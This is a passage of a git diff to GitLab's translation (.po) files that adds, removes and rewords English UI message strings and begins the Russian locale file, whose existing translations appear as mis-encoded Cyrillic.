msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29881,6 +30619,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29941,6 +30682,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30013,6 +30757,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30064,6 +30811,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30112,6 +30862,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30139,6 +30895,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30172,9 +30931,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30418,6 +31174,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30556,7 +31315,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30640,6 +31399,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30649,6 +31411,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30661,6 +31426,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30967,9 +31735,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31066,9 +31831,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31369,6 +32131,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31411,9 +32182,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31441,7 +32209,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31546,6 +32314,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31744,10 +32515,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31882,9 +32653,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31939,6 +32707,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32341,7 +33115,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32350,6 +33124,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32446,6 +33223,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32644,9 +33424,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32698,6 +33475,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32743,7 +33523,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32971,9 +33754,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33040,7 +33820,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33049,6 +33844,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33202,9 +34003,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33232,6 +34039,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33241,6 +34051,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33646,15 +34459,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33829,6 +34657,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33928,9 +34759,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34003,34 +34831,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34042,9 +34885,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34057,9 +34897,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34120,6 +34957,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34276,6 +35116,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34417,6 +35263,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34501,9 +35350,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34540,12 +35386,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34579,7 +35419,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34594,9 +35434,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34780,12 +35617,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34906,6 +35749,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34999,7 +35845,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35107,6 +35953,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35410,6 +36259,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35599,6 +36457,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35770,7 +36631,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35806,13 +36667,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35926,9 +36784,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36079,18 +36934,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36121,9 +36970,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36190,15 +37036,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36481,9 +37318,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36529,6 +37363,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ru/gitlab.po b/locale/ru/gitlab.po
index 175eab5d53f..ffc6a2e74ea 100644
--- a/locale/ru/gitlab.po
+++ b/locale/ru/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ru\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:57\n"
+"PO-Revision-Date: 2021-04-02 00:19\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] "%d измененных файла"
msgstr[2] "%d измененных файлов"
msgstr[3] "%d измененных файлов"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] "%d дочернÑÑ Ñ†ÐµÐ»ÑŒ"
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d иÑправленный результат теÑта"
@@ -510,6 +524,9 @@ msgstr "тема %{authorsName}"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr "%{commit_author_link} Ñоздал %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr "Завершено %{completedWeight} из %{totalWeight} приоритета"
@@ -550,23 +574,9 @@ msgstr "%{count} ÑоглаÑований от %{name}"
msgid "%{count} files touched"
msgstr "затронуто %{count} файлов"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] "выбрано %{count} обÑуждение"
-msgstr[1] "выбраны %{count} обÑуждениÑ"
-msgstr[2] "выбрано %{count} обÑуждений"
-msgstr[3] "выбрано %{count} обÑуждений"
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] "выбран %{count} Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
-msgstr[1] "выбраны %{count} запроÑа на ÑлиÑние"
-msgstr[2] "выбрано %{count} запроÑов на ÑлиÑние"
-msgstr[3] "выбрано %{count} запроÑов на ÑлиÑние"
-
msgid "%{count} more"
msgstr "ещё %{count}"
@@ -665,7 +675,7 @@ msgstr "УчаÑтники группы %{group_name}"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} иÑпользует управлÑемые групповые аккаунты. Вам нужно Ñоздать новый аккаунт GitLab, который будет управлÑÑ‚ÑŒÑÑ %{group_name}."
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}Узнайте больше%{usage_ping_link_end} о том, ÐºÐ°ÐºÐ°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¿ÐµÑ€ÐµÐ´Ð°ÐµÑ‚ÑÑ GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName}(не может выполнÑÑ‚ÑŒ ÑлиÑние)"
@@ -1219,6 +1232,9 @@ msgstr[3] "+ещё %d"
msgid "+%{approvers} more approvers"
msgstr "+ещё %{approvers} утверждающих"
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr "+%{more_assignees_count}"
@@ -1313,6 +1329,13 @@ msgstr[1] "%d днÑ"
msgstr[2] "%d дней"
msgstr[3] "%d дней"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] "1 ключ развёртываниÑ"
@@ -1341,6 +1364,20 @@ msgstr[1] "%d чаÑа"
msgstr[2] "%d чаÑов"
msgstr[3] "%d чаÑов"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 объединенный Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
@@ -1355,6 +1392,13 @@ msgstr[1] "%d минуты"
msgstr[2] "%d минут"
msgstr[3] "%d минут"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 открытое обÑуждение"
@@ -1390,6 +1434,20 @@ msgstr[1] "%{num} пользователей"
msgstr[2] "%{num} пользователей"
msgstr[3] "%{num} пользователей"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr "1-9 ÑодейÑтвий"
@@ -1507,9 +1565,6 @@ msgstr "Файл не найден!"
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "Файл '%{file_name}' уже ÑущеÑтвует в ветке %{branch}"
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "Пользователь Ñ Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸ÐµÐ¼ на запиÑÑŒ в ветку иÑточника выбрал Ñтот вариант"
@@ -1621,13 +1670,25 @@ msgstr "Справка по API"
msgid "API Token"
msgstr "API токен"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
